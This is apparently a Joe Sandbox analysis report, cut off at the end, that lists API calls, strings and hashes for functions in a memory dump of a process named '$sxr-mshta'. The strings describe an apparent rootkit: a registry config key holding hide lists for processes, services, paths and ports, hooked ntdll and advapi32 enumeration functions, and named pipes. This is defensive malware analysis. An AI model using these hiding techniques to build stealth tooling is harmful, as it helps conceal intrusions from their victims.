Instruction ID: 3ba8e6e439e03b5a3bc758d3b8f8069b87eaa1d419f2ede4741ca8f294e68c32
Opcode Fuzzy Hash: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction Fuzzy Hash: F5317072306F81CAEB618F60E8407DDB764F78A794F44842AEA4E4BB95EF38C548C715

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBB5AC Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001A00BDBB625
RtlLookupFunctionEntry.NTDLL ref: 000001A00BDBB63D
RtlVirtualUnwind.NTDLL ref: 000001A00BDBB678
IsDebuggerPresent.KERNEL32 ref: 000001A00BDBB6B1
SetUnhandledExceptionFilter.KERNEL32 ref: 000001A00BDBB6BB
UnhandledExceptionFilter.KERNEL32 ref: 000001A00BDBB6C6

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction ID: c5477e2f072d014b5c46831cd8435b1e3c063a6f184e80f6aae3f12c941a2b3f
Opcode Fuzzy Hash: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction Fuzzy Hash: 19317C32315F8096DB618F25E8407DEB7A4F78A7A4F504127EA8D4BB98EF38C545CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBFF98 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001A00BDC0007
WriteFile.KERNEL32 ref: 000001A00BDC02BE
WriteFile.KERNEL32 ref: 000001A00BDC0310
GetLastError.KERNEL32 ref: 000001A00BDC0412
GetLastError.KERNEL32 ref: 000001A00BDC0472

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction ID: f5841654a05ab3f79805421bf165e4961e83cb85bd3758965bcddfde686f1e8d
Opcode Fuzzy Hash: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction Fuzzy Hash: 6BE1CE72715A81DAE702CF64D6403DEBBB1F34B7C8F148116EE4A5BB99EA34C516C701

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00AADB0D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001A00AADB100

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 000001A00AADB483
*?, xrefs: 000001A00AADB127

Memory Dump Source

Source File: 0000000D.00000002.2917423134.000001A00AAD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001A00AAD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00aad0000_$sxr-mshta.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 3d9d3ed3b6d7a55fb82e6fc493a3f6bc75b91b6af9b0b08d1d0f39a31465a3d5
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: CB51CD73712A9485EF16CBA29A007DD27A1FB5BBD8F454625FE9A07FC5EB38C0818311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7142F1ADC Relevance: 4.5, APIs: 3, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7142F1AE7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7142F1AF0
GetCurrentProcess.KERNEL32 ref: 00007FF7142F1AF6

Memory Dump Source

Source File: 0000000D.00000002.2917958810.00007FF7142F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7142F0000, based on PE: true

Associated: 0000000D.00000002.2917829662.00007FF7142F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918096738.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918191653.00007FF7142F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7142f0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CurrentProcess
String ID:
API String ID: 1249254920-0
Opcode ID: 9cf6c44da13e02a05fc4d3dcc4ca3e30ed2f46184eaf7001aa2c8df375b04596
Instruction ID: f192d7fb05820ef89a59105d662f75026b9b7294489770cd224426d06a5e2049
Opcode Fuzzy Hash: 9cf6c44da13e02a05fc4d3dcc4ca3e30ed2f46184eaf7001aa2c8df375b04596
Instruction Fuzzy Hash: 5ED09E55A08D0686F7182FA36C9507662909B5BB61BC51034CB0A473129E3F54C94638

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBBEDC Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e98009fc70158ea5415607d79adf01d037d59db10dc6a2a59361e2c62c52725f
Instruction ID: fbf6090339103f8706c32787f5a024e0f6485dd4b4e1b0993b2fb41089bd29a6
Opcode Fuzzy Hash: e98009fc70158ea5415607d79adf01d037d59db10dc6a2a59361e2c62c52725f
Instruction Fuzzy Hash: 0F51F332711A90C8FB218F76AA00BDEBBA5F34BBD4F154216FE584BA85EB38C101C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7142F1800 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7142F180B

Memory Dump Source

Source File: 0000000D.00000002.2917958810.00007FF7142F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7142F0000, based on PE: true

Associated: 0000000D.00000002.2917829662.00007FF7142F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918096738.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918191653.00007FF7142F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7142f0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d18d6d85a8f617bb5500e753f487753302b7fe5cd23ded35b267988b4d6b386f
Instruction ID: d41e5e2ec7e375afcd4b734f3e400c7634ff8376c6f8c4fcde5e4f7add289710
Opcode Fuzzy Hash: d18d6d85a8f617bb5500e753f487753302b7fe5cd23ded35b267988b4d6b386f
Instruction Fuzzy Hash: 09B09214E25C02D1E604BF629CC10A152E0AB5B720FD10470C10D81120DF1EA5DE8B20

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00AAE1540 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2917423134.000001A00AAD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001A00AAD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00aad0000_$sxr-mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02a0dc21c4cc38a4ec26d0a9d58c393b00474c81d7d375ca2079895bfbc551e1
Instruction ID: 76718d07cd2c7828e1effbd055bf188703fdcca96aec33297c295a49f92cd050
Opcode Fuzzy Hash: 02a0dc21c4cc38a4ec26d0a9d58c393b00474c81d7d375ca2079895bfbc551e1
Instruction Fuzzy Hash: 34F062727552949AEBE5CF28A94275977E0F34D3C0F808619E689C3F48D33C80A09F09

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001A00BDB165B
HeapAlloc.KERNEL32 ref: 000001A00BDB166A

Part of subcall function 000001A00BDB1274: GetProcessHeap.KERNEL32 ref: 000001A00BDB127A
Part of subcall function 000001A00BDB1274: HeapAlloc.KERNEL32 ref: 000001A00BDB1289
Part of subcall function 000001A00BDB1274: GetProcessHeap.KERNEL32 ref: 000001A00BDB12A3
Part of subcall function 000001A00BDB1274: HeapAlloc.KERNEL32 ref: 000001A00BDB12B4

RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB16DA
RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB1707
RegCloseKey.ADVAPI32 ref: 000001A00BDB1721
RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB1741
RegCloseKey.ADVAPI32 ref: 000001A00BDB175C
RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB177C
RegCloseKey.ADVAPI32 ref: 000001A00BDB1797
RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB17B7
RegCloseKey.ADVAPI32 ref: 000001A00BDB17D2
RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB17F2
RegCloseKey.ADVAPI32 ref: 000001A00BDB180D
RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB182D
RegCloseKey.ADVAPI32 ref: 000001A00BDB1848
RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB1868
RegCloseKey.ADVAPI32 ref: 000001A00BDB1883
RegOpenKeyExW.ADVAPI32 ref: 000001A00BDB18A3
RegCloseKey.ADVAPI32 ref: 000001A00BDB18BE
RegCloseKey.ADVAPI32 ref: 000001A00BDB18C8

Part of subcall function 000001A00BDB12C8: RegQueryInfoKeyW.ADVAPI32 ref: 000001A00BDB1326
Part of subcall function 000001A00BDB12C8: GetProcessHeap.KERNEL32 ref: 000001A00BDB1334
Part of subcall function 000001A00BDB12C8: HeapAlloc.KERNEL32 ref: 000001A00BDB1345
Part of subcall function 000001A00BDB12C8: RegEnumValueW.ADVAPI32 ref: 000001A00BDB13A1
Part of subcall function 000001A00BDB12C8: GetProcessHeap.KERNEL32 ref: 000001A00BDB13E9
Part of subcall function 000001A00BDB12C8: HeapAlloc.KERNEL32 ref: 000001A00BDB13F7
Part of subcall function 000001A00BDB12C8: GetProcessHeap.KERNEL32 ref: 000001A00BDB141B
Part of subcall function 000001A00BDB12C8: HeapFree.KERNEL32 ref: 000001A00BDB1429
Part of subcall function 000001A00BDB12C8: lstrlenW.KERNEL32 ref: 000001A00BDB1432
Part of subcall function 000001A00BDB12C8: GetProcessHeap.KERNEL32 ref: 000001A00BDB1440
Part of subcall function 000001A00BDB12C8: HeapAlloc.KERNEL32 ref: 000001A00BDB144E

Strings

udp, xrefs: 000001A00BDB189C
process_names, xrefs: 000001A00BDB1775
startup, xrefs: 000001A00BDB16FD
tcp_remote, xrefs: 000001A00BDB1861
pid, xrefs: 000001A00BDB173A
tcp_local, xrefs: 000001A00BDB1826
service_names, xrefs: 000001A00BDB17EB
SOFTWARE\$sxrconfig, xrefs: 000001A00BDB16BA
paths, xrefs: 000001A00BDB17B0

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$sxrconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-3028563969
Opcode ID: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction ID: 7b9f30cc8e8fe4a9c8962c2d417534b141b9a934be96b0e57cce50772ab1ea9a
Opcode Fuzzy Hash: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction Fuzzy Hash: F4713936322E11D6EB119F21E951BD9B7A4FB8FBD8F015122EA4D5BA28EF38C444C305

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB1EB0 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 72
librarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000001A00BDB1EBD
GetCurrentThread.KERNEL32 ref: 000001A00BDB1EC8

Part of subcall function 000001A00BDB21C0: GetModuleHandleA.KERNEL32 ref: 000001A00BDB21D8
Part of subcall function 000001A00BDB21C0: GetProcAddress.KERNEL32 ref: 000001A00BDB21E9

Part of subcall function 000001A00BDB5CB0: GetCurrentThreadId.KERNEL32 ref: 000001A00BDB5CEB

Strings

EnumServicesStatusExW, xrefs: 000001A00BDB1FBA, 000001A00BDB1FDB
NtQueryDirectoryFileEx, xrefs: 000001A00BDB1F45
NtResumeThread, xrefs: 000001A00BDB1F0B
sechost.dll, xrefs: 000001A00BDB1FE2
NtDeviceIoControlFile, xrefs: 000001A00BDB1FFF
Sysprep_Clean_Validate_Opk, xrefs: 000001A00BDB2019
spopk.dll, xrefs: 000001A00BDB1EB6, 000001A00BDB2020
NtQueryDirectoryFile, xrefs: 000001A00BDB1F28
advapi32.dll, xrefs: 000001A00BDB1FA0, 000001A00BDB1FC1
NtEnumerateValueKey, xrefs: 000001A00BDB1F7F
NtQuerySystemInformation, xrefs: 000001A00BDB1EEE
EnumServiceGroupW, xrefs: 000001A00BDB1F99
ntdll.dll, xrefs: 000001A00BDB1ED6
NtEnumerateKey, xrefs: 000001A00BDB1F62

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentThread$AddressHandleLibraryLoadModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$Sysprep_Clean_Validate_Opk$advapi32.dll$ntdll.dll$sechost.dll$spopk.dll
API String ID: 1741086925-759476645
Opcode ID: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction ID: b10a1bb16b804796ac25ab0e497a0749f51296e555e1ebb15830f49bd306616e
Opcode Fuzzy Hash: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction Fuzzy Hash: 1E4193BA313D0BE1EA06DF55EB55BD4AB24A70F3C4F814413B4094E166FF78828AC352

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001A00BDB1326
GetProcessHeap.KERNEL32 ref: 000001A00BDB1334
HeapAlloc.KERNEL32 ref: 000001A00BDB1345
RegEnumValueW.ADVAPI32 ref: 000001A00BDB13A1

Part of subcall function 000001A00BDB1554: StrCmpIW.SHLWAPI ref: 000001A00BDB1585

GetProcessHeap.KERNEL32 ref: 000001A00BDB13E9
HeapAlloc.KERNEL32 ref: 000001A00BDB13F7
GetProcessHeap.KERNEL32 ref: 000001A00BDB141B
HeapFree.KERNEL32 ref: 000001A00BDB1429
lstrlenW.KERNEL32 ref: 000001A00BDB1432
GetProcessHeap.KERNEL32 ref: 000001A00BDB1440
HeapAlloc.KERNEL32 ref: 000001A00BDB144E
StrCpyW.SHLWAPI ref: 000001A00BDB1470
GetProcessHeap.KERNEL32 ref: 000001A00BDB1485
HeapFree.KERNEL32 ref: 000001A00BDB1493

Strings

d, xrefs: 000001A00BDB1365

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction ID: 692739381c7e69450caaf21e8976dd9f48ebe503361453cb39051215321206d6
Opcode Fuzzy Hash: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction Fuzzy Hash: A9517872315F45D7EB15CF62E64879AB7A1F38ABD0F058226EA490BB14EF38C055CB05

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB2444 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001A00BDB2459
GetCurrentProcessId.KERNEL32 ref: 000001A00BDB2463

Part of subcall function 000001A00BDB19AC: OpenProcess.KERNEL32 ref: 000001A00BDB19CA
Part of subcall function 000001A00BDB19AC: IsWow64Process.KERNEL32 ref: 000001A00BDB19E0
Part of subcall function 000001A00BDB19AC: CloseHandle.KERNEL32 ref: 000001A00BDB19FB

CreateFileW.KERNEL32 ref: 000001A00BDB24BC
WriteFile.KERNEL32 ref: 000001A00BDB24E4
ReadFile.KERNEL32 ref: 000001A00BDB2503
CloseHandle.KERNEL32 ref: 000001A00BDB250C

Strings

\\.\pipe\$sxrchildproc34226543a32, xrefs: 000001A00BDB2493
\\.\pipe\$sxrchildproc38764243a64, xrefs: 000001A00BDB248C

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\$sxrchildproc34226543a32$\\.\pipe\$sxrchildproc38764243a64
API String ID: 2171963597-1213686612
Opcode ID: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction ID: ab226fb4db7a5a2f880efd12113e4cfc828a68b77041f9fe88609f9da7ee3fd9
Opcode Fuzzy Hash: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction Fuzzy Hash: F6219032715B4182EB118F21E604799BBA0F38BBE4F504212FA5946BA8EF3CC149CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001A00BDB10AB
RegEnumValueW.ADVAPI32 ref: 000001A00BDB110E
GetProcessHeap.KERNEL32 ref: 000001A00BDB1155
HeapAlloc.KERNEL32 ref: 000001A00BDB1163
GetProcessHeap.KERNEL32 ref: 000001A00BDB1187
HeapFree.KERNEL32 ref: 000001A00BDB1195

Strings

d, xrefs: 000001A00BDB10CE

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction ID: 4e7cd0df4eb4bfa36b0e6cc546b170ab78fdfa493660d1216b5c7bf1b5fdc7e4
Opcode Fuzzy Hash: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction Fuzzy Hash: 7E418233215B80DBE7618F61E5447DAB7A1F38ABD4F008126EB990BB58EF38D165CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00AAD6A90 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001A00AAD6AB8
__scrt_acquire_startup_lock.LIBCMT ref: 000001A00AAD6B0A
_RTC_Initialize.LIBCMT ref: 000001A00AAD6B38
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001A00AAD6B5E
__scrt_release_startup_lock.LIBCMT ref: 000001A00AAD6B89

Memory Dump Source

Source File: 0000000D.00000002.2917423134.000001A00AAD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001A00AAD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00aad0000_$sxr-mshta.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: f6a1e1a64f6c52bf56c9c88361415ff2a0d919872d0a9d9d73517389ecc8422f
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 8B81DF7172264146FB57AB25AB413D923A1A78F7C4F088726BAC647FD6DB38C8C58703

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB7690 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001A00BDB76B8
__scrt_acquire_startup_lock.LIBCMT ref: 000001A00BDB770A
_RTC_Initialize.LIBCMT ref: 000001A00BDB7738
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001A00BDB775E
__scrt_release_startup_lock.LIBCMT ref: 000001A00BDB7789

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 991759b8c839dfd8723ac9faaf9260e70b50ca09e76899cdacf9244bbbb1fa12
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 14819C30706E42C7FA569F669A41BD9E691ABCF7C0F064427B9088F796FB38CC418706

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB98A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001A00BDB9929
GetLastError.KERNEL32 ref: 000001A00BDB9937
LoadLibraryExW.KERNEL32 ref: 000001A00BDB9961
FreeLibrary.KERNEL32 ref: 000001A00BDB99A7
GetProcAddress.KERNEL32 ref: 000001A00BDB99B3

Strings

api-ms-, xrefs: 000001A00BDB9949

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction ID: 4169dbb03fa2d6595903e1f8eeeddba1abd77cf4161ab39a284232f04e31bf25
Opcode Fuzzy Hash: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction Fuzzy Hash: CB316F31313E91D1EE539F129550BD9A394BB4FBE0F5A5526BE194E344FF38C4458312

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDC1C3C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001A00BDC1C6D
GetLastError.KERNEL32 ref: 000001A00BDC1C79
CloseHandle.KERNEL32 ref: 000001A00BDC1C91
CreateFileW.KERNEL32 ref: 000001A00BDC1CBC
WriteConsoleW.KERNEL32 ref: 000001A00BDC1CDB

Strings

CONOUT$, xrefs: 000001A00BDC1C9D

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction ID: 1024b168949dea4e5982153c9c03b1275ad0d31baafafafb68ec3efb7de548d6
Opcode Fuzzy Hash: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction Fuzzy Hash: F7118B32311F4186E7528F46EA44399EAA0F78FBE4F008226FA1D8B794EF38C814C745

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB5CB0 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001A00BDB5CEB
GetThreadContext.KERNEL32 ref: 000001A00BDB5E55

Part of subcall function 000001A00BDB5AE0: GetCurrentThreadId.KERNEL32 ref: 000001A00BDB5AE4

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction ID: bd97341ad54c0d057f0d2b5a1a53f6d717d439d543e09bfa160b299a117a6a37
Opcode Fuzzy Hash: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction Fuzzy Hash: 25D1BC36209F48C6DA719F1AE59079AB7A0F3DEBC8F110116EA8D4B7A5DF38C541CB05

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB3150 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001A00BDB3173
HeapAlloc.KERNEL32 ref: 000001A00BDB3186
StrCmpNIW.SHLWAPI ref: 000001A00BDB3201
GetProcessHeap.KERNEL32 ref: 000001A00BDB3267
HeapFree.KERNEL32 ref: 000001A00BDB3275

Strings

